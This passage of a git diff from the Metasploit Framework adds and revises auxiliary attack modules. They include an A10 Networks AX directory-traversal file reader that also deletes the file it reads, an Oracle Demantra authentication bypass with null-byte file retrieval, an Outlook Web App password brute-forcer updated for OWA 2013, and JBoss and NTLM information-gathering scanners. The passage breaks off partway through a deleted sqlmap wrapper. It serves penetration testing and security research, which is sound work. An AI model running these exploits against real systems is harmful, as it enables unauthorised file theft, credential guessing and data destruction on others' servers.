+    caller_name = opts[:caller_name]
+    call_guid = opts[:call_guid]
+
     encap_tpkt(3,
       encap_q225_release(
         create_ie_display(caller_name) +
@@ -550,13 +575,32 @@ class Metasploit3 < Msf::Auxiliary
     )
   end
 
-  def h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
+  def h323_setup_call(opts = {})
+    caller_name = opts[:caller_name]
+    h323_id = opts[:h323_id]
+    vendor_id = opts[:vendor_id]
+    callee_host = opts[:callee_host]
+    callee_port = opts[:callee_port]
+    caller_host = opts[:caller_host]
+    caller_port = opts[:caller_port]
+    conf_guid = opts[:conf_guid]
+    call_guid = opts[:call_guid]
+
     encap_tpkt(3,
       encap_q225_setup(
         create_ie_bearer_capability() +
         create_ie_display(caller_name) +
         create_ie_user_user(
-          create_user_info( h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid )
+          create_user_info({
+            :h323_id => h323_id,
+            :vendor_id => vendor_id,
+            :callee_host => callee_host,
+            :callee_port => callee_port,
+            :caller_host => caller_host,
+            :caller_port => caller_port,
+            :conf_guid => conf_guid,
+            :call_guid => call_guid
+          })
         )
       )
     )
diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
new file mode 100644
index 0000000000..92bd68d1fe
--- /dev/null
+++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
@@ -0,0 +1,99 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'A10 Networks AX Loadbalancer Directory Traversal',
+      'Description'    => %q{
+        This module exploits a directory traversal flaw found in A10 Networks
+        (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less.  When
+        handling a file download request, the xml/downloads class fails to
+        properly check the 'filename' parameter, which can be abused to read
+        any file outside the virtual directory. Important files include SSL
+        certificates. This module works on both the hardware devices and the
+        Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the
+        file on the device after downloading it. Because of this, the CONFIRM_DELETE
+        option must be set to 'true' either manually or by script.
+      },
+      'References'     =>
+        [
+          ['OSVDB', '102657'],
+          ['BID', '65206'],
+          ['EDB', '31261']
+        ],
+      'Author'         =>
+        [
+          'xistence'  #Vulnerability discovery and Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => "Jan 28 2014"
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
+        OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']),
+        OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]),
+        OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]),
+      ], self.class)
+  end
+
+  def run
+    unless datastore['CONFIRM_DELETE']
+      print_error("This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.")
+      return
+    end
+
+    super
+  end
+
+  def run_host(ip)
+    peer = "#{ip}:#{rport}"
+    fname = datastore['FILE']
+
+    print_status("#{peer} - Reading '#{datastore['FILE']}'")
+    traverse = "../" * datastore['DEPTH']
+    res = send_request_cgi({
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.path, "xml", "downloads", ""),
+      'vars_get' =>
+        {
+          'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}"
+        }
+    })
+
+    if res and res.code == 500 and res.body =~ /Error report/
+      vprint_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
+      vprint_error("\t1. File does not exist.")
+      vprint_error("\t2. The server does not have any patches deployed.")
+      vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
+      vprint_error("\t4. Some kind of permission issues.")
+    elsif res and res.code == 200
+      data = res.body
+      p = store_loot(
+        'a10networks.ax',
+        'application/octet-stream',
+        ip,
+        data,
+        fname
+      )
+      vprint_line(data)
+      print_good("#{peer} - #{fname} stored as '#{p}'")
+    elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/
+      vprint_error("#{peer} - File not found. Check FILE.")
+    else
+      vprint_error("#{peer} - Fail to obtain file for some unknown reason")
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb
index 3a6b5d6d5d..9e319ec0fb 100644
--- a/modules/auxiliary/scanner/http/cert.rb
+++ b/modules/auxiliary/scanner/http/cert.rb
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         Opt::RPORT(443),
-        OptString.new('ISSUER', [ true,  "Show a warning if the Issuer doesn't match this regex", '.*']),
+        OptRegexp.new('ISSUER', [ true,  "Show a warning if the Issuer doesn't match this regex", '.*']),
         OptBool.new('SHOWALL', [ false, "Show all certificates (issuer,time) regardless of match", false]),
       ], self.class)
   end
diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb
index 11bebc738e..6463d9af62 100644
--- a/modules/auxiliary/scanner/http/dolibarr_login.rb
+++ b/modules/auxiliary/scanner/http/dolibarr_login.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Dolibarr ERP & CRM 3 Login Utility',
+      'Name'           => 'Dolibarr ERP/CRM Login Utility',
       'Description'    => %q{
         This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface,
         and should only work against version 3.1.1 or older, because these versions do not
diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb
new file mode 100644
index 0000000000..42e385249c
--- /dev/null
+++ b/modules/auxiliary/scanner/http/http_header.rb
@@ -0,0 +1,94 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'HTTP Header Detection',
+      'Description' => %q{ This module shows HTTP Headers returned by the scanned systems. },
+      'Author'      =>
+      [
+        'Christian Mehlmauer',
+        'rick2600'
+      ],
+      'References'  =>
+      [
+        ['URL', 'http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html'],
+        ['URL', 'http://en.wikipedia.org/wiki/List_of_HTTP_header_fields']
+      ],
+      'License'     => MSF_LICENSE
+    ))
+
+    register_options([
+      OptString.new('IGN_HEADER', [ true, 'List of headers to ignore, seperated by comma',
+        'Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges']),
+      OptEnum.new('HTTP_METHOD', [ true, 'HTTP Method to use, HEAD or GET', 'HEAD', ['GET', 'HEAD'] ]),
+      OptString.new('TARGETURI', [ true, 'The URI to use', '/'])
+    ])
+  end
+
+  def run_host(ip)
+    ignored_headers = datastore['IGN_HEADER'].split(',')
+
+    uri = normalize_uri(target_uri.path)
+    method = datastore['HTTP_METHOD']
+    vprint_status("#{peer}: requesting #{uri} via #{method}")
+    res = send_request_raw({
+      'method'  => method,
+      'uri'     => uri
+    })
+
+    unless res
+      vprint_error("#{peer}: connection timed out")
+      return
+    end
+
+    headers = res.headers
+    unless headers
+      vprint_status("#{peer}: no headers returned")
+      return
+    end
+
+    # Header Names are case insensitve so convert them to upcase
+    headers_uppercase = headers.inject({}) do |hash, keys|
+      hash[keys[0].upcase] = keys[1]
+      hash
+    end
+
+    ignored_headers.each do |h|
+      if headers_uppercase.has_key?(h.upcase)
+        vprint_status("#{peer}: deleted header #{h}")
+        headers_uppercase.delete(h.upcase)
+      end
+    end
+    headers_uppercase.to_a.compact.sort
+
+    counter = 0;
+    headers_uppercase.each do |h|
+      header_string = "#{h[0]}: #{h[1]}"
+      print_status "#{peer}: #{header_string}"
+
+      report_note({
+        :type => 'HTTP header',
+        :data => header_string,
+        :host => ip,
+        :port => rport
+      })
+      counter = counter + 1
+    end
+    if counter == 0
+      print_warning "#{peer}: all detected headers are defined in IGN_HEADER and were ignored "
+    else
+      print_good "#{peer}: detected #{counter} headers"
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb
new file mode 100644
index 0000000000..bca9f40f85
--- /dev/null
+++ b/modules/auxiliary/scanner/http/jboss_status.rb
@@ -0,0 +1,112 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize
+    super(
+      'Name'        => 'JBoss Status Servlet Information Gathering',
+      'Description' => %q{
+        This module queries the JBoss status servlet to collect sensitive
+        information, including URL paths, GET parameters and client IP addresses.
+        This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.
+      },
+      'References'  =>
+        [
+          ['CVE', '2008-3273'],
+          ['URL', 'http://seclists.org/fulldisclosure/2011/Sep/139'],
+          ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'],
+          ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned']
+        ],
+      'Author'      => 'Matteo Cantoni <goony[at]nothink.org>',
+      'License'     => MSF_LICENSE
+    )
+
+    register_options([
+      Opt::RPORT(8080),
+      OptString.new('TARGETURI', [ true,  'The JBoss status servlet URI path', '/status'])
+    ], self.class)
+  end
+
+  def run_host(target_host)
+    jpath = normalize_uri(target_uri.to_s)
+
+    @requests  = []
+
+    vprint_status("#{rhost}:#{rport} - Collecting data through #{jpath}...")
+
+    res = send_request_raw({
+      'uri'    => jpath,
+      'method' => 'GET'
+    })
+
+    # detect JBoss application server
+    if res and res.code == 200 and res.body.match(/<title>Tomcat Status<\/title>/)
+      http_fingerprint({:response => res})
+
+      html_rows = res.body.split(/<strong>/)
+      html_rows.each do |row|
+
+        #Stage      Time    B Sent  B Recv  Client  VHost   Request
+        #K  150463510 ms    ?       ?       1.2.3.4 ?       ?
+
+        # filter client requests
+        if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/)
+
+          j_src  = $5
+          j_dst  = $6
+          j_path = $7
+
+          @requests << [j_src, j_dst, j_path]
+        end
+      end
+    elsif res and res.code == 401
+      vprint_error("#{rhost}:#{rport} - Authentication is required")
+      return
+    elsif res and res.code == 403
+      vprint_error("#{rhost}:#{rport} - Forbidden")
+      return
+    else
+      vprint_error("#{rhost}:#{rport} - Unknown error")
+      return
+    end
+
+    # show results
+    unless @requests.empty?
+      show_results(target_host)
+    end
+  end
+
+  def show_results(target_host)
+    print_good("#{rhost}:#{rport} JBoss application server found")
+
+    req_table = Rex::Ui::Text::Table.new(
+      'Header'  => 'JBoss application server requests',
+        'Indent'  => 1,
+        'Columns' => ['Client', 'Vhost target', 'Request']
+    )
+
+    @requests.each do |r|
+      req_table << r
+      report_note({
+        :host  => target_host,
+        :proto => 'tcp',
+        :sname => (ssl ? 'https' : 'http'),
+        :port  => rport,
+        :type  => 'JBoss application server info',
+        :data  => "#{rhost}:#{rport} #{r[2]}"
+      })
+    end
+
+    print_line
+    print_line(req_table.to_s)
+  end
+end
diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
index 0c52d63d63..a55c173a17 100644
--- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
@@ -179,9 +179,7 @@ class Metasploit4 < Msf::Auxiliary
     post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
     post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi({
       'uri'      => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
index 4d0b066114..8afd0bdb73 100644
--- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
+++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
@@ -19,47 +19,66 @@ class Metasploit3 < Msf::Auxiliary
         resources which permit NTLM authentication, a blank NTLM type 1 message
         is sent to enumerate a a type 2 message from the target server. The type
         2 message is then parsed for information such as the Active Directory
-        domain and NetBIOS name.
+        domain and NetBIOS name.  A single URI can be specified with TARGET_URI
+        and/or a file of URIs can be specified with TARGET_URIS_FILE (default).
       },
       'Author'      => 'Brandon Knight',
       'License'     => MSF_LICENSE
     )
     register_options(
       [
-        OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.data_directory, "wordlists", "http_owa_common.txt")])
+        OptString.new('TARGET_URI', [ false, "Single target URI", nil]),
+        OptPath.new('TARGET_URIS_FILE', [ false, "Path to list of URIs to request", 
+          File.join(Msf::Config.data_directory, "wordlists", "http_owa_common.txt")]),
       ], self.class)
   end
 
   def run_host(ip)
-    File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
-      test_uri = line.chomp
-      test_path = normalize_uri(test_uri)
-      result = check_url(test_path)
-      if result
-        message = "Enumerated info on #{peer}#{test_path} - "
-        message << "(name:#{result[:nb_name]}) "
-        message << "(domain:#{result[:nb_domain]}) "
-        message << "(domain_fqdn:#{result[:dns_domain]}) "
-        message << "(server_fqdn:#{result[:dns_server]})"
-        print_good(message)
-        report_note(
-            :host  => ip,
-            :port  => rport,
-            :proto => 'tcp',
-            :sname => (ssl ? 'https' : 'http'),
-            :ntype => 'ntlm.enumeration.info',
-            :data  => {
-              :uri=>test_path,
-              :SMBName    => result[:nb_name],
-              :SMBDomain  => result[:nb_domain],
-              :FQDNDomain => result[:dns_domain],
-              :FQDNName   => result[:dns_server]
-            },
-            :update => :unique_data
-        )
-        return
+    test_uris = []
+    turi = datastore['TARGET_URI']
+    turis_file = datastore['TARGET_URIS_FILE']
+    if (!turi && !turis_file)
+      # can't simply return here as we'll print an error for each host
+      fail_with "Either TARGET_URI or TARGET_URIS_FILE must be specified"
+    end
+    if (turi and !turi.blank?)
+      test_uris << normalize_uri(turi)
+    end
+    if (turis_file && !turis_file.blank?)
+      File.open(turis_file, 'rb') { |f| test_uris += f.readlines }
+      test_uris.collect! do |test_uri|
+        normalize_uri(test_uri.chomp)
       end
     end
+    test_uris.each do |test_path|
+      result = check_url(test_path)
+      # no need to try the other uris if one of them works.
+      return handle_result(test_path, result) if result
+    end
+  end
+
+  def handle_result(path, result)
+    message = "Enumerated info on #{peer}#{path} - "
+    message << "(name:#{result[:nb_name]}) "
+    message << "(domain:#{result[:nb_domain]}) "
+    message << "(domain_fqdn:#{result[:dns_domain]}) "
+    message << "(server_fqdn:#{result[:dns_server]})"
+    print_good(message)
+    report_note(
+      :host  => rhost,
+      :port  => rport,
+      :proto => 'tcp',
+      :sname => (ssl ? 'https' : 'http'),
+      :ntype => 'ntlm.enumeration.info',
+      :data  => {
+        :uri        => path,
+        :SMBName    => result[:nb_name],
+        :SMBDomain  => result[:nb_domain],
+        :FQDNDomain => result[:dns_domain],
+        :FQDNName   => result[:dns_server]
+      },
+      :update => :unique_data
+    )
   end
 
   def check_url(test_uri)
@@ -72,31 +91,6 @@ class Metasploit3 < Msf::Auxiliary
         'method'   => 'GET',
         'headers'  =>  { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
       })
-
-      return if res.nil?
-
-      vprint_status("Status: #{res.code}")
-      if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
-        hash = res['WWW-Authenticate'].split('NTLM ')[1]
-        #Parse out the NTLM and just get the Target Information Data
-        target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value()
-        # Retrieve Domain name subblock info
-        nb_domain = parse_ntlm_info(target, "\x02\x00", 0)
-        # Retrieve Server name subblock info
-        nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset])
-        # Retrieve DNS domain name subblock info
-        dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset])
-        # Retrieve DNS server name subblock info
-        dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset])
-
-        return {
-          :nb_name    => nb_name[:message],
-          :nb_domain  => nb_domain[:message],
-          :dns_domain => dns_domain[:message],
-          :dns_server => dns_server[:message]
-        }
-      end
-
     rescue OpenSSL::SSL::SSLError
       vprint_error("#{peer} - SSL error")
       return
@@ -108,6 +102,29 @@ class Metasploit3 < Msf::Auxiliary
       return
     end
 
+    return if res.nil?
+
+    vprint_status("Status: #{res.code}")
+    if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
+      hash = res['WWW-Authenticate'].split('NTLM ')[1]
+      # Parse out the NTLM and just get the Target Information Data
+      target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value()
+      # Retrieve Domain name subblock info
+      nb_domain = parse_ntlm_info(target, "\x02\x00", 0)
+      # Retrieve Server name subblock info
+      nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset])
+      # Retrieve DNS domain name subblock info
+      dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset])
+      # Retrieve DNS server name subblock info
+      dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset])
+
+      return {
+        :nb_name    => nb_name[:message],
+        :nb_domain  => nb_domain[:message],
+        :dns_domain => dns_domain[:message],
+        :dns_server => dns_server[:message]
+      }
+    end
   end
 
   def parse_ntlm_info(message,pattern,offset)
diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb
new file mode 100644
index 0000000000..6a71e8a8ea
--- /dev/null
+++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb
@@ -0,0 +1,84 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',
+      'Description'    => %q{
+        This module exploits a file downlad vulnerability found in Oracle
+        Demantra 12.2.1 in combination with an authentication bypass. By
+        combining these exposures, an unauthenticated user can retreive any file
+        on the system by referencing the full file path to any file a vulnerable
+        machine.
+      },
+      'References'     =>
+        [
+          [ 'CVE', '2013-5877'],
+          [ 'CVE', '2013-5880'],
+          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/'],
+          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/']
+        ],
+      'Author'         =>
+        [
+          'Oliver Gruskovnjak'
+        ],
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => "Feb 28 2014"
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptBool.new('SSL',   [false, 'Use SSL', false]),
+        OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini'])
+      ], self.class)
+
+    deregister_options('RHOST')
+  end
+
+  def run_host(ip)
+    filename = datastore['FILEPATH']
+    authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet"
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(authbypass),
+      'method' => 'POST',
+      'encode_params' => false,
+      'vars_post' => {
+        'filename' => "#{filename}%00"
+      }
+    })
+
+    if res.nil? or res.body.empty?
+      fail_with("No content retrieved from: #{ip}")
+    end
+
+    if res.code == 404
+      print_error("#{rhost}:#{rport} - File not found")
+      return
+    end
+
+    if res.code == 200
+      print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
+      fname = File.basename(datastore['FILEPATH'])
+      path = store_loot(
+        'oracle.demantra',
+        'application/octet-stream',
+        ip,
+        res.body,
+        fname)
+
+      print_good("#{ip}:#{rport} - File saved in: #{path}")
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb
index 598a5b7df0..8240a0ae11 100644
--- a/modules/auxiliary/scanner/http/owa_login.rb
+++ b/modules/auxiliary/scanner/http/owa_login.rb
@@ -11,12 +11,14 @@ class Metasploit3 < Msf::Auxiliary
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+
 
   def initialize
     super(
       'Name'           => 'Outlook Web App (OWA) Brute Force Utility',
       'Description'    => %q{
-        This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
+        This module tests credentials on OWA 2003, 2007, 2010, 2013 servers. The default
         action is set to OWA 2010.
       },
       'Author'         =>
@@ -25,13 +27,14 @@ class Metasploit3 < Msf::Auxiliary
           'Spencer McIntyre',
           'SecureState R&D Team',
           'sinn3r',
-          'Brandon Knight'
+          'Brandon Knight',
+          'Pete (Bokojan) Arzamendi, #Outlook 2013 updates'
         ],
       'License'        => MSF_LICENSE,
       'Actions'        =>
         [
           [
-            'OWA 2003',
+            'OWA_2003',
             {
               'Description' => 'OWA version 2003',
               'AuthPath'    => '/exchweb/bin/auth/owaauth.dll',
@@ -40,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
             }
           ],
           [
-            'OWA 2007',
+            'OWA_2007',
             {
               'Description' => 'OWA version 2007',
               'AuthPath'    => '/owa/auth/owaauth.dll',
@@ -49,31 +52,45 @@ class Metasploit3 < Msf::Auxiliary
             }
           ],
           [
-            'OWA 2010',
+            'OWA_2010',
             {
               'Description' => 'OWA version 2010',
               'AuthPath'    => '/owa/auth.owa',
               'InboxPath'   => '/owa/',
               'InboxCheck'  => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
             }
+          ],
+          [
+            'OWA_2013',
+            {
+              'Description' => 'OWA version 2013',
+              'AuthPath'    => '/owa/auth.owa',
+              'InboxPath'   => '/owa/',
+              'InboxCheck'  => /Inbox|logoff\.owa/
+            }
           ]
         ],
-      'DefaultAction' => 'OWA 2010'
+      'DefaultAction' => 'OWA_2010',
+      'DefaultOptions' => {
+        'SSL' => true
+      }
     )
 
+
     register_options(
       [
         OptInt.new('RPORT', [ true, "The target port", 443]),
+        OptAddress.new('RHOST', [ true, "The target address", true]),
+        OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
       ], self.class)
 
+
     register_advanced_options(
       [
-        OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
-        OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]),
-        OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
+        OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", ''])
       ], self.class)
 
-    deregister_options('BLANK_PASSWORDS')
+    deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME')
   end
 
   def cleanup
@@ -86,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
     # Store the original setting
     @blank_passwords_setting = datastore['BLANK_PASSWORDS']
 
-    # OWA doesn't support blank passwords
+    # OWA doesn't support blank passwords or usernames!
     datastore['BLANK_PASSWORDS'] = false
 
     # If there's a pre-defined username/password, we need to turn off USER_AS_PASS
@@ -126,6 +143,7 @@ class Metasploit3 < Msf::Auxiliary
 
     begin
       each_user_pass do |user, pass|
+        next if (user.blank? or pass.blank?)
         vprint_status("#{msg} Trying #{user} : #{pass}")
         try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost})
       end
@@ -150,9 +168,17 @@ class Metasploit3 < Msf::Auxiliary
     }
 
     if (datastore['SSL'].to_s.match(/^(t|y|1)/i))
-      data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
+      if action.name == "OWA_2013"
+        data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
+      else
+        data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
+      end
     else
-      data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
+      if action.name == "OWA_2013"
+        data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
+      else
+        data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
+      end
     end
 
     begin
@@ -174,16 +200,43 @@ class Metasploit3 < Msf::Auxiliary
       return :abort
     end
 
-    if not res.headers['set-cookie']
-      print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
-      return :abort
+    if action.name != "OWA_2013" and not res.headers['set-cookie']
+        print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
+        return :abort
     end
+    if action.name == "OWA_2013"
+      #Check for a response code to make sure login was valid. Changes from 2010 to 2013.
+      #Check if the password needs to be changed.
+      if res.headers['location'] =~ /expiredpassword/
+        print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}': NOTE password change required")
+        report_hash = {
+          :host   => datastore['RHOST'],
+          :port   => datastore['RPORT'],
+          :sname  => 'owa',
+          :user   => user,
+          :pass   => pass,
+          :active => true,
+          :type => 'password'}
 
-    # these two lines are the authentication info
-    sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
-    cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
+        report_auth_info(report_hash)
+        return :next_user
+      end
 
-    headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
+      #No password change required moving on.
+      reason = res.headers['location'].split('reason=')[1]
+      if reason == nil
+        headers['Cookie'] = 'PBack=0;' << res.get_cookies
+      else
+      #Login didn't work. no point on going on.
+        vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
+        return :Skip_pass
+      end
+    else
+       # these two lines are the authentication info
+      sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
+      cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
+      headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
+    end
 
     begin
       res = send_request_cgi({
diff --git a/modules/auxiliary/scanner/http/sqlmap.rb b/modules/auxiliary/scanner/http/sqlmap.rb
deleted file mode 100644
index 2559f26f9e..0000000000
--- a/modules/auxiliary/scanner/http/sqlmap.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Auxiliary
-
-  include Msf::Exploit::Remote::HttpClient
-  include Msf::Auxiliary::WmapScanUniqueQuery
-  include Msf::Auxiliary::Scanner
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'			=> 'SQLMAP SQL Injection External Module',
-      'Description'	=> %q{
-          This module launch a sqlmap session.
-        sqlmap is an automatic SQL injection tool developed in Python.
-        Its goal is to detect and take advantage of SQL injection
-        vulnerabilities on web applications. Once it detects one
-        or more SQL injections on the target host, the user can
-        choose among a variety of options to perform an extensive
-        back-end database management system fingerprint, retrieve
-        DBMS session user and database, enumerate users, password
-        hashes, privileges, databases, dump entire or user
-        specific DBMS tables/columns, run his own SQL SELECT
-        statement, read specific files on the file system and much
-        more.
-      },
-      'Author'	    => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ],
-      'License'		=> BSD_LICENSE,
-      'References'	=>
-        [
-          ['URL', 'http://sqlmap.sourceforge.net'],
-        ]
-      ))
-
-    register_options(
-      [
-        OptPath.new('SQLMAP_PATH', [ true,  "The sqlmap >= 0.6.1 full path ", '/sqlmap' ]),
-        OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST']]),
-        OptString.new('PATH', [ true,  "The path/file to test for SQL injection", 'index.php' ]),
-        OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
-        OptString.new('DATA', [ false, "The data string to be sent through POST" ]),
-        OptString.new('OPTS', [ false,  "The sqlmap options to use" ]),
-        OptBool.new('BATCH', [ true,  "Never ask for user input, use the default behaviour", true ])
-      ], self.class)
-  end
-
-  # Modify to true if you have sqlmap installed.
-  def wmap_enabled
-    false
-  end
-
-  # Test a single host
-  def run_host(ip)
-
-    sqlmap = File.join(datastore['SQLMAP_PATH'], 'sqlmap.py')
-    if not File.file?(sqlmap)
-      print_error("The sqlmap script could not be found")
-      return
-    end
-
-    data = ""
-    data << datastore['DATA'].to_s
